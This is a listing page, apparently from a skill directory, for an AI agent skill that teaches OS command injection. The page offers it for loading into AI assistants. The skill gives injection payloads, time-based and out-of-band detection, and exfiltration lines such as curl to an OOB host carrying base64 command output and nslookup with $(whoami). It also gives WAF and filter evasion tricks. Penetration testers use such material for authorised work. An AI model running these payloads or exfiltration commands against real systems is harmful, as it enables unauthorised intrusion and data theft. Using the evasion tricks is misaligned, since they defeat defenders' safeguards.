OS command injection
SkillFiles & storageTurn user input that reaches a shell into arbitrary OS command execution. Load when a parameter feeds a system call, ping/nslookup/host tools, file conversion (ImageMagick, ffmpeg), archive/ export, PDF/thumbnail generation, filename handling, or any "network tools" feature. Signals: output that looks like command output, a value echoed into a system utility, blind time/OOB behaviour.
Instructions available. Your AI can read the instructions. Execution depends on the setup they require.
Account requirements not reviewed. Check the skill instructions before use; ahel provides instructions and does not run this skill.
Add ahel to your AI once: Claude, ChatGPT, Cursor, Claude Code or Codex. Then ask it to use this.
Then ask your AI: use the OS command injection skill
What this skill tells your AI
The instructions your AI receives, as published by noorqureshi/sploitagent in skills/web/web-command-injection/SKILL.md and read by ahel’s review.
When it applies
A parameter is concatenated into a shell command the server runs (a ping diagnostic, an
ImageMagick/ffmpeg convert, a tar/zip, a filename passed to a CLI). If the value reaches
/bin/sh -c unsanitised, you can append your own command.
Why it works
Building a command string from input and handing it to a shell means shell metacharacters keep their
meaning: ;, |, &&, $(), and backticks all start a new command in the same context (usually
the web user). The app never intended a second command — the shell can't tell the difference.
Method
Payloads & full variation set:
cheatsheet.mdnext to this file — work the set, not the first line.
- In-band test: inject
; id,| id,$(id),`id`, and newline (%0a id). Auid=…in the response confirms execution. - Blind (no output) — pick one channel:
- Time:
; sleep 10(or%0a ping -c 10 127.0.0.1) → response stalls ⇒ execution. - OOB:
; nslookup $(whoami).<your-interactsh>→ a DNS/HTTP callback proves it and exfils.
- Time:
- Get output when blind: redirect into a web-readable path, or exfil via the OOB channel
(
curl http://oob/$(id|base64)). - Bypass filters:
$IFS/${IFS}for spaces, quotes to split keywords (w'h'o'am'i),$@/\, base64-decode-pipe, or wildcards for blocked paths. - Escalate to impact: least-action proof (a benign
id/OOB ping) — do not run destructive or data-exfil commands beyond what proves impact.
Gotchas
- Argument injection ≠ command injection: if you can't break out of the command but can add
flags (e.g.
-o,--output), that alone can be high impact — test it too. - A reflected
id-looking string might be echoed, not executed — confirm with time or OOB. - WAFs flag
;/|; the$IFS/quote/encoding tricks above are for evasion, not novelty.
Verify success
A controlled command runs: id/hostname in the response, a measurable sleep delay, or an OOB
callback carrying command output — reproducible, from a clean request.
References
PortSwigger OS command injection; PayloadsAllTheThings Command Injection; GTFOBins (argument abuse).
Signals
- GitHub stars
- 20
- Forks
- 7
- Last commit
- Sep 2026
Advanced
- Item type
- skill
- Key
web-command-injection- Source
- github.com/noorqureshi/sploitagent
github.com/noorqureshi/sploitagent